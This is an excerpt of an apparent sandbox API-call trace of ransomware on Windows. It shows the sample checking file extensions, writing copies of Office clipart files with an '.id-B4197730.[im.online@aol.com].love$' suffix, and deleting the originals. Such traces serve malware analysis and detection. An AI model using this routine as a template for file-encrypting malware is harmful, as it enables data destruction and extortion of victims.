4 [0226.323] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0226.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0226.323] lstrlenW (lpString=".1cd") returned 4 [0226.323] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0226.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0226.323] lstrlenW (lpString=".jpg") returned 4 [0226.323] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0226.323] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0226.323] lstrlenW (lpString="AN01084_.WMF") returned 12 [0226.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0226.324] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1832) returned 1 [0226.324] CloseHandle (hObject=0x42c) returned 1 [0226.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 0x220 [0226.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0226.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0226.325] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.325] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0226.326] GetLastError () returned 0x0 [0226.326] ReadFile (in: hFile=0x42c, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x728, lpOverlapped=0x0) returned 1 [0226.327] WriteFile (in: hFile=0x44c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x730, lpOverlapped=0x0) returned 1 [0226.833] ReadFile (in: hFile=0x42c, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.833] WriteFile (in: hFile=0x44c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0226.834] SetEndOfFile (hFile=0x44c) returned 1 [0226.834] CloseHandle (hObject=0x44c) returned 1 [0226.855] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.855] SetEndOfFile (hFile=0x42c) returned 1 [0227.197] CloseHandle (hObject=0x42c) returned 1 [0227.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0227.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 1 [0227.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0227.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0227.199] lstrlenW (lpString=".doc") returned 4 [0227.199] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.199] lstrlenW (lpString=".docx") returned 5 [0227.199] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0227.199] lstrlenW (lpString=".pdf") returned 4 [0227.199] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.199] lstrlenW (lpString=".xls") returned 4 [0227.199] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.199] lstrlenW (lpString=".xlsx") returned 5 [0227.199] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0227.200] lstrlenW (lpString=".ppt") returned 4 [0227.200] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0227.200] lstrlenW (lpString=".zip") returned 4 [0227.200] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.200] lstrlenW (lpString=".rar") returned 4 [0227.200] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.200] lstrlenW (lpString=".bz2") returned 4 [0227.200] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.200] lstrlenW (lpString=".7z") returned 3 [0227.200] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0227.200] lstrlenW (lpString=".dbf") returned 4 [0227.200] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0227.200] lstrlenW (lpString=".1cd") returned 4 [0227.200] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0227.200] lstrlenW (lpString=".jpg") returned 4 [0227.200] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0227.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0227.200] lstrlenW (lpString=".doc") returned 4 [0227.200] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.200] lstrlenW (lpString=".docx") returned 5 [0227.200] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0227.200] lstrlenW (lpString=".pdf") returned 4 [0227.201] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.201] lstrlenW (lpString=".xls") returned 4 [0227.201] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.201] lstrlenW (lpString=".xlsx") returned 5 [0227.201] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0227.201] lstrlenW (lpString=".ppt") returned 4 [0227.201] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0227.201] lstrlenW (lpString=".zip") returned 4 [0227.201] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.201] lstrlenW (lpString=".rar") returned 4 [0227.201] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.201] lstrlenW (lpString=".bz2") returned 4 [0227.201] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.201] lstrlenW (lpString=".7z") returned 3 [0227.201] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0227.201] lstrlenW (lpString=".dbf") returned 4 [0227.201] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0227.201] lstrlenW (lpString=".1cd") returned 4 [0227.201] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0227.201] lstrlenW (lpString=".jpg") returned 4 [0227.201] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.202] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0227.202] lstrlenW (lpString="AN02559_.WMF") returned 12 [0227.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0227.203] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=6632) returned 1 [0227.203] CloseHandle (hObject=0x42c) returned 1 [0227.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 0x220 [0227.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0227.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0227.204] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.204] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0227.205] GetLastError () returned 0x0 [0227.205] ReadFile (in: hFile=0x42c, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x19e8, lpOverlapped=0x0) returned 1 [0227.221] WriteFile (in: hFile=0x3c0, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x19f0, lpOverlapped=0x0) returned 1 [0227.258] ReadFile (in: hFile=0x42c, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.258] WriteFile (in: hFile=0x3c0, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0227.259] SetEndOfFile (hFile=0x3c0) returned 1 [0227.277] CloseHandle (hObject=0x3c0) returned 1 [0227.283] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.283] SetEndOfFile (hFile=0x42c) returned 1 [0227.321] CloseHandle (hObject=0x42c) returned 1 [0227.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0227.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 1 [0227.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0227.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0227.324] lstrlenW (lpString=".doc") returned 4 [0227.324] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.324] lstrlenW (lpString=".docx") returned 5 [0227.324] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0227.324] lstrlenW (lpString=".pdf") returned 4 [0227.324] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.324] lstrlenW (lpString=".xls") returned 4 [0227.324] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.324] lstrlenW (lpString=".xlsx") returned 5 [0227.324] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0227.324] lstrlenW (lpString=".ppt") returned 4 [0227.324] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0227.324] lstrlenW (lpString=".zip") returned 4 [0227.324] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.324] lstrlenW (lpString=".rar") returned 4 [0227.324] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.324] lstrlenW (lpString=".bz2") returned 4 [0227.324] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.324] lstrlenW (lpString=".7z") returned 3 [0227.324] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0227.325] lstrlenW (lpString=".dbf") returned 4 [0227.325] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0227.325] lstrlenW (lpString=".1cd") returned 4 [0227.325] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0227.325] lstrlenW (lpString=".jpg") returned 4 [0227.325] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0227.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0227.325] lstrlenW (lpString=".doc") returned 4 [0227.325] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.325] lstrlenW (lpString=".docx") returned 5 [0227.325] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0227.325] lstrlenW (lpString=".pdf") returned 4 [0227.325] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.325] lstrlenW (lpString=".xls") returned 4 [0227.325] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.325] lstrlenW (lpString=".xlsx") returned 5 [0227.325] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0227.325] lstrlenW (lpString=".ppt") returned 4 [0227.325] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0227.325] lstrlenW (lpString=".zip") returned 4 [0227.325] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.326] lstrlenW (lpString=".rar") returned 4 [0227.326] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.326] lstrlenW (lpString=".bz2") returned 4 [0227.326] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.326] lstrlenW (lpString=".7z") returned 3 [0227.326] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0227.326] lstrlenW (lpString=".dbf") returned 4 [0227.326] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0227.326] lstrlenW (lpString=".1cd") returned 4 [0227.326] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0227.326] lstrlenW (lpString=".jpg") returned 4 [0227.326] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.326] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0227.326] lstrlenW (lpString="AN02724_.WMF") returned 12 [0227.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0227.731] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2108) returned 1 [0227.731] CloseHandle (hObject=0x388) returned 1 [0227.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 0x220 [0227.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0227.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0227.732] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.732] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0227.734] GetLastError () returned 0x0 [0227.735] ReadFile (in: hFile=0x388, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x83c, lpOverlapped=0x0) returned 1 [0227.759] WriteFile (in: hFile=0x404, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x840, lpOverlapped=0x0) returned 1 [0227.761] ReadFile (in: hFile=0x388, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.761] WriteFile (in: hFile=0x404, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0227.761] SetEndOfFile (hFile=0x404) returned 1 [0227.761] CloseHandle (hObject=0x404) returned 1 [0227.764] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.764] SetEndOfFile (hFile=0x388) returned 1 [0228.058] CloseHandle (hObject=0x388) returned 1 [0228.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0229.016] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 1 [0229.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0229.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0229.102] lstrlenW (lpString=".doc") returned 4 [0229.102] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.102] lstrlenW (lpString=".docx") returned 5 [0229.102] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.102] lstrlenW (lpString=".pdf") returned 4 [0229.102] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.102] lstrlenW (lpString=".xls") returned 4 [0229.102] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.102] lstrlenW (lpString=".xlsx") returned 5 [0229.102] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.102] lstrlenW (lpString=".ppt") returned 4 [0229.102] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0229.102] lstrlenW (lpString=".zip") returned 4 [0229.102] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.102] lstrlenW (lpString=".rar") returned 4 [0229.102] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.102] lstrlenW (lpString=".bz2") returned 4 [0229.102] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.103] lstrlenW (lpString=".7z") returned 3 [0229.103] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0229.103] lstrlenW (lpString=".dbf") returned 4 [0229.103] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0229.103] lstrlenW (lpString=".1cd") returned 4 [0229.103] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0229.103] lstrlenW (lpString=".jpg") returned 4 [0229.103] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0229.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0229.103] lstrlenW (lpString=".doc") returned 4 [0229.103] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.103] lstrlenW (lpString=".docx") returned 5 [0229.103] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.103] lstrlenW (lpString=".pdf") returned 4 [0229.103] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.104] lstrlenW (lpString=".xls") returned 4 [0229.104] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.104] lstrlenW (lpString=".xlsx") returned 5 [0229.104] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.104] lstrlenW (lpString=".ppt") returned 4 [0229.104] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0229.104] lstrlenW (lpString=".zip") returned 4 [0229.104] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.104] lstrlenW (lpString=".rar") returned 4 [0229.104] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.104] lstrlenW (lpString=".bz2") returned 4 [0229.104] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.104] lstrlenW (lpString=".7z") returned 3 [0229.104] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0229.104] lstrlenW (lpString=".dbf") returned 4 [0229.104] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0229.104] lstrlenW (lpString=".1cd") returned 4 [0229.104] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0229.104] lstrlenW (lpString=".jpg") 